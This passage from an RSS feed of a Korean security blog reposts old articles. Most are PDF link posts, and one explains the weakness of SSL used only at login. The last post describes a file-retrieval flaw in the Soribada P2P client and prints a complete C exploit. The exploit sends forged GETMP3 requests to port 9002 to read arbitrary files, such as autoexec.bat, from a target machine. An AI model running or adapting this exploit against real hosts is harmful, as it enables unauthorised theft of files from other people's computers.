var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>dns</category>
			<category>NTFAQ</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/492</guid>
			<comments>http://gleam.pe.kr/492#entry492comment</comments>
			<pubDate>Sun, 15 Feb 2009 22:05:00 +0900</pubDate>
		</item>
		<item>
			<title>예전 자료 정리 - 내 웹 서비스에 얼마나 많은 사용자가 접속 하는가?</title>
			<link>http://gleam.pe.kr/491</link>
			<description>&lt;br /&gt;
내 웹 서비스에 얼마나 많은 사용자가 접속 하는가?&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://gleam.tistory.com/attachment/4999642c0c9ffAY.pdf&quot;&gt;&lt;img src=&quot;http://cfs.tistory.com/blog/image/extension/pdf.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; Webservice_currentuser.pdf&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>웹 서비스</category>
			<category>접속자</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/491</guid>
			<comments>http://gleam.pe.kr/491#entry491comment</comments>
			<pubDate>Sun, 15 Feb 2009 22:02:00 +0900</pubDate>
		</item>
		<item>
			<title>예전 자료 정리 - 인터넷 붕괴의 기술적 원인 분석</title>
			<link>http://gleam.pe.kr/490</link>
			<description>&lt;br /&gt;
인터넷 붕괴의 기술적 원인 분석&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://gleam.tistory.com/attachment/499963ac0119a9R.pdf&quot;&gt;&lt;img src=&quot;http://cfs.tistory.com/blog/image/extension/pdf.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; internetcrisis.pdf&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>인터넷</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/490</guid>
			<comments>http://gleam.pe.kr/490#entry490comment</comments>
			<pubDate>Sun, 15 Feb 2009 22:00:00 +0900</pubDate>
		</item>
		<item>
			<title>예전 자료 정리 - IIS Lock Down과 URL Scan</title>
			<link>http://gleam.pe.kr/489</link>
			<description>&lt;br /&gt;
IIS Lock Down과 URL Scan&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://gleam.tistory.com/attachment/49996310ebe54DZ.pdf&quot;&gt;&lt;img src=&quot;http://cfs.tistory.com/blog/image/extension/pdf.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; iislockdown.pdf&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>IIS</category>
			<category>IIS Lock Down</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/489</guid>
			<comments>http://gleam.pe.kr/489#entry489comment</comments>
			<pubDate>Sun, 15 Feb 2009 21:58:00 +0900</pubDate>
		</item>
		<item>
			<title>예전 자료 정리 - SSL의 허와 실</title>
			<link>http://gleam.pe.kr/488</link>
			<description>&lt;P&gt;.. 이번엔 SSL 의 허와실이 아닌 실과허를 알아보겠습니다. &lt;br /&gt;
SSL 이란 Secure Socket Layer 의 약자로 웹에서 클라이언트와 &lt;br /&gt;
서버가 정보를 주고 받을때 데이터를 암호화하여 전송하는 것을 &lt;br /&gt;
말합니다. SSL 을 사용하면 해커가 패킷을 엿보게 되더라도 암호화되어 &lt;br /&gt;
있어서 가지고 있어봤자 소용이 없습니다. &lt;/P&gt;
&lt;P&gt;SSL 의 목적은 무엇일까요? SSL 그 자체는 서버의 보안성에 한단계 &lt;br /&gt;
높이는 일을 하진 않습니다. 방화벽같이 특정 패킷을 차단하지도 않고 &lt;br /&gt;
IDS 처럼 감시하지도 않죠. &lt;/P&gt;
&lt;P&gt;단지, 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때 &lt;br /&gt;
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠. &lt;/P&gt;
&lt;P&gt;하지만 이 방법에는 약점이 있습니다. 보통 우리가 SSL 을 사용할때는 &lt;br /&gt;
처음 로그인시에 ID 와 PASSWORD 를 확인할때만 주로 쓰이게 됩니다. &lt;br /&gt;
왜 전체에다가 SSL 을 쓰지 않냐면 속도도 느려질뿐만 아니라 감춰야 하는 &lt;br /&gt;
데이터중 가장 큰 것은 password 같은 민감한 부분이기 때문입니다. &lt;/P&gt;
&lt;P&gt;보안 접속과 일반 접속은 별 차이가 없습니다. 접속할때 전송하는 패킷이 &lt;br /&gt;
암호화 되어있느냐 안되어있느냐에 차이가 있는 것이지 인증이 완료 &lt;br /&gt;
된후에 클라이언트에 세팅하는 쿠키 값에는 보안 접속이나 일반 접속이나 &lt;br /&gt;
차이가 없다는 이야기죠. (뭐 굳이 차이점이 있다면 보안 접속의 쿠키에는 &lt;br /&gt;
&#039;나 보안 접속했다&#039; 라는 명시를 할수 있는 쿠키를 새로 하나 추가해 &lt;br /&gt;
준다는 것정도) &lt;/P&gt;
&lt;P&gt;그럼 어디서 취약점이 발생하느냐.. 위에서 제가 말씀드렸죠. 한번 더 &lt;br /&gt;
말하겠습니다.. &lt;/P&gt;
&lt;P&gt;SSL 은 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때 &lt;br /&gt;
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠. &lt;/P&gt;
&lt;P&gt;id 와 password 만 암호화된 패킷일 뿐이지 서버가 우리에게 세팅해주는 &lt;br /&gt;
쿠키값같은 것들은 보안접속이나 일반 접속이나 똑같습니다. 즉, 해커는 &lt;br /&gt;
쿠키값만 가지고 원하고자 하는 나쁜짓을 할 수 있으므로 암호화 되서 &lt;br /&gt;
날라간 id, password 를 못봤다고 해서 아쉬울게 없다는 이야기입니다. &lt;br /&gt;
(쿠키를 가지고 하는 해킹에 대해서는 제가 다른 문서에서 이미 많이 &lt;br /&gt;
설명을 하였습니다. 읽어보시길..) &lt;/P&gt;
&lt;P&gt;이런 방법의 보안 접속은 겉포장만 잘 쌓여져 있는 것입니다.. 앞으로 &lt;br /&gt;
많은 체계 개선이 필요할 것입니다. &lt;/P&gt;
&lt;P&gt;주로 메일 서비스를 하는 곳에서 이러한 취약성이 드러나 있습니다. &lt;/P&gt;
&lt;P&gt;그럼 이만.. 모두 빠빠이.. 아.. 이제 자야지.. &lt;br /&gt;
&lt;br /&gt;&lt;/P&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>Secure Socket Layer</category>
			<category>SSL</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/488</guid>
			<comments>http://gleam.pe.kr/488#entry488comment</comments>
			<pubDate>Sun, 15 Feb 2009 21:52:00 +0900</pubDate>
		</item>
		<item>
			<title>예전 자료 정리 - 소리바다 취약점</title>
			<link>http://gleam.pe.kr/487</link>
			<description>&lt;P&gt;안녕하세요. &lt;/P&gt;
&lt;P&gt;(먼저 이 문서를 보고 악의적인 행동을 할시에 일어나는 모든 행동은 &lt;br /&gt;
저와 무관하다는 것을 명시함.) &lt;/P&gt;
&lt;P&gt;소리바다의 취약점에 대해서 알아보겠습니다. 소리바다는 mp3 공유 &lt;br /&gt;
프로그램으로 p2p 방식 입니다. peer to peer 로 사용자와 사용자를 &lt;br /&gt;
연결하는 방식입니다. &lt;/P&gt;
&lt;P&gt;소리바다를 사용시 진행되는 방식을 다음과 같습니다. &lt;/P&gt;
&lt;P&gt;1. 소리바다 exe 프로그램 구동 &lt;br /&gt;
2. 소리바다 로그인 &lt;br /&gt;
3. 찾는 노래 키워드 검색 &lt;br /&gt;
4. 소리바다에 연결된 다른 컴퓨터들한테 키워드 전송 &lt;br /&gt;
5. 다른 컴퓨터들이 나에게 키워드에 맞는 정보를 보내줌 &lt;br /&gt;
6. 정보를 토대로 다시 그 컴퓨터 접속하여 노래를 가져옴 &lt;/P&gt;
&lt;P&gt;이렇습니다. &lt;/P&gt;
&lt;P&gt;예를 들어 우리가 A 컴퓨터를 이용하고 있고 TTL 이라는 노래를 &lt;br /&gt;
검색한다고 하면 B 컴퓨터는 우리에게 TTL 에 맞는 정보를 보냅니다. &lt;/P&gt;
&lt;P&gt;&#039;나한테 TTL.mp3 가 있다. 이 파일은 c:\mp3\ttl.mp3 이고 파일 크기는 &lt;br /&gt;
4000 이고 어쩌고 저쩌고 하다.&#039; &lt;/P&gt;
&lt;P&gt;우리는 이 정보를 토대로 다시 B 컴퓨터에 접속합니다. &lt;/P&gt;
&lt;P&gt;&#039;너의 c:\mp3\ttl.mp3 파일을 가지러 왔다. 내놔라&#039; &lt;/P&gt;
&lt;P&gt;이해를 쉽게하기 위해 실제로 우리가 B 컴퓨터 접속하여 어떻게 &lt;br /&gt;
정보를 요청하는지 알아보겠습니다. &lt;/P&gt;
&lt;P&gt;GETMP3 &lt;br /&gt;
Filename: c:\mp3\ttl.mp3 &lt;br /&gt;
PortM: 9004 &lt;br /&gt;
Username: ffjfjfjfj &lt;/P&gt;
&lt;P&gt;GETMP3 는 mp3 를 가져가겠단 의미이고 filename 은 경로입니다. &lt;br /&gt;
port 는 파일 전송에 이용할 포트를 뜻하는것 같고 username 은 &lt;br /&gt;
소리바다 id 를 말합니다. &lt;/P&gt;
&lt;P&gt;실질적으로 이런 내용이 전송되는 포트는 목적지 컴퓨터의 9002 포트 &lt;br /&gt;
번호입니다. 소리바다를 실행하면 9002 포트가 열리게 되어있죠. &lt;/P&gt;
&lt;P&gt;우리가 위와 같은 내용을 상대방에게 전달할때 Filename 을 임의로 &lt;br /&gt;
조작한다면 우리가 원하는 파일을 가져올수 있습니다. 예를 들자면 &lt;/P&gt;
&lt;P&gt;GETMP3 &lt;br /&gt;
Filename: c:\autoexec.bat &lt;br /&gt;
PortM: 9004 &lt;br /&gt;
Username: ffjfjfjfj &lt;/P&gt;
&lt;P&gt;이렇게 보내면 되겠죠? &lt;/P&gt;
&lt;P&gt;위의 이야기를 보고 의문이 가시는 분도 있을 겁니다. &lt;/P&gt;
&lt;P&gt;&#039;그럼 검색키워드에 그냥 autoexec 로 검색하면 B 컴퓨터가 &lt;br /&gt;
c:\autoexec.bat 파일의 정보를 나한테 보내주지 않나?&#039; &lt;/P&gt;
&lt;P&gt;아닙니다. 소리바다 설정 메뉴중 공유할 폴더를 선택하는 부분있죠? &lt;br /&gt;
그 폴더 안에 있는 것들중 mp3 만 검색을 하기 때문에 보내주지 않습니다. &lt;/P&gt;
&lt;P&gt;이와 유사한 프로그램은 이런 류의 버그가 많습니다. 명령어 실행이라든지 &lt;br /&gt;
여러가지를 조작할수가 있죠. 거의 모든 국내 프로그램들이 말이죠.. &lt;br /&gt;
대단한 기술은 아니지만 해킹은 창의적이기 때문에 이런 간단한 방법으로도 &lt;br /&gt;
해킹이 가능합니다. &lt;/P&gt;
&lt;P&gt;exploit 을 같이 첨부하겠습니다. exploit 에서 쉘코드처럼 보이는 것은 &lt;br /&gt;
쉘코드가 아니라 위에서 말한 GETMP3 이런 것들입니다. 그냥 고치기 귀찮 &lt;br /&gt;
아서 패킷 그대로 옮겨적었습니다.. 소스가 굉장히 지저분합니다. 양해 &lt;br /&gt;
해주세요. 만약 일반 txt 형 파일이 아닌 2 진 파일을 받을 경우에는 &lt;br /&gt;
소스를 수정해야 할 겁니다. (exploit에 overflow 취약점이 있군요.. 캬캬) &lt;/P&gt;
&lt;P&gt;#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt; &lt;br /&gt;
#include &amp;lt;errno.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
#include &amp;lt;netdb.h&amp;gt; &lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt; &lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt; &lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt; &lt;br /&gt;
#define PORT 9002 &lt;br /&gt;
main (int argc, char *argv[]) { &lt;br /&gt;
char cmd[500]= &lt;br /&gt;
&quot;\x47\x45\x54\x4d\x50\x33\x0d\x0a\x46\x69\x6c\x65\x6e\x61\x6d\x65\x3a\x20&quot;; &lt;br /&gt;
int sockfd, a=strlen(cmd), b, count, bbb; &lt;br /&gt;
char cmd2[]= &lt;br /&gt;
&quot;\x0d\x0a\x50\x6f\x72\x74\x4d\x3a\x20\x39&quot; &lt;br /&gt;
&quot;\x30\x30\x34\x0d\x0a\x55\x73\x65\x72\x6e\x61\x6d\x65\x3a\x20&quot; &lt;br /&gt;
&quot;\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x61\x6b\x6e&quot; &lt;br /&gt;
&quot;\x0d\x0a\x0d\x0a&quot;; &lt;br /&gt;
char buf[1000]; &lt;br /&gt;
struct hostent *he; &lt;br /&gt;
struct sockaddr_in their_addr; &lt;/P&gt;
&lt;P&gt;if(argc&amp;lt;4) { &lt;br /&gt;
printf(&quot;usage: %s drivename filename targetip\n\n&quot;, argv[0]); &lt;br /&gt;
printf(&quot;ex&amp;gt; %s c autoexec.bat beist.org\n&quot;, argv[0]); &lt;br /&gt;
printf(&quot;ex2&amp;gt; %s c document\\haha.txt beist.org\n\n&quot;, argv[0]); &lt;br /&gt;
printf(&quot;made by beist. &lt;A href=&quot;http://beist.org/&quot;&gt;http://beist.org&lt;/A&gt;, &lt;A href=&quot;mailto:beist@hanmail.net\n&quot;&gt;beist@hanmail.net\n&lt;/A&gt;&quot;); &lt;br /&gt;
printf(&quot;the best cf model of korea is Eun-Kyung Im (TTL)\n&quot;); &lt;br /&gt;
printf(&quot;Wowcode Team in WOWhacker.com\n&quot;); &lt;br /&gt;
exit(-1); &lt;br /&gt;
} &lt;/P&gt;
&lt;P&gt;if(strlen(argv[1]) &amp;gt;1) { &lt;br /&gt;
printf(&quot;드라이브 명을 정확히 입력하세요.\n&quot;); &lt;br /&gt;
exit(-1); &lt;br /&gt;
} &lt;/P&gt;
&lt;P&gt;if ((he=gethostbyname(argv[3])) == NULL) { &lt;br /&gt;
herror(&quot;gethostbyname&quot;); &lt;br /&gt;
exit(1); &lt;br /&gt;
} &lt;/P&gt;
&lt;P&gt;if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { &lt;br /&gt;
perror(&quot;socket&quot;); &lt;br /&gt;
exit(1); &lt;br /&gt;
} &lt;br /&gt;
their_addr.sin_family = AF_INET; &lt;br /&gt;
their_addr.sin_port = htons(PORT); &lt;br /&gt;
their_addr.sin_addr = *((struct in_addr *)he-&amp;gt;h_addr); &lt;br /&gt;
bzero(&amp;amp;(their_addr.sin_zero), 8); &lt;br /&gt;
if (connect(sockfd, (struct sockaddr *)&amp;amp;their_addr, \ &lt;br /&gt;
sizeof(struct sockaddr)) == -1) { &lt;br /&gt;
perror(&quot;connect&quot;); &lt;br /&gt;
exit(1); &lt;br /&gt;
} &lt;br /&gt;
cmd[a++]=argv[1][0]; &lt;br /&gt;
cmd[a++]=&#039;\x3a&#039;; &lt;br /&gt;
cmd[a++]=&#039;\x5c&#039;; &lt;br /&gt;
b=strlen(argv[2]); &lt;br /&gt;
for(count=0;count&amp;lt;b;count++) &lt;br /&gt;
cmd[a++]=argv[2][count]; &lt;br /&gt;
strcat(cmd, cmd2); &lt;br /&gt;
send(sockfd, cmd, strlen(cmd), 0); &lt;br /&gt;
recv(sockfd, buf, 1000, 0); &lt;br /&gt;
for(bbb=0;bbb&amp;lt;strlen(buf);bbb++) &lt;br /&gt;
printf(&quot;%c&quot;, buf[bbb]); &lt;br /&gt;
sleep(2); &lt;br /&gt;
recv(sockfd, buf, 1000, 0); &lt;br /&gt;
for(bbb=0;bbb&amp;lt;strlen(buf);bbb++) &lt;br /&gt;
printf(&quot;%c&quot;, buf[bbb]); &lt;br /&gt;
printf(&quot;당신이 보낸 명령어 : \n%s&quot;, cmd); &lt;br /&gt;
} &lt;br /&gt;
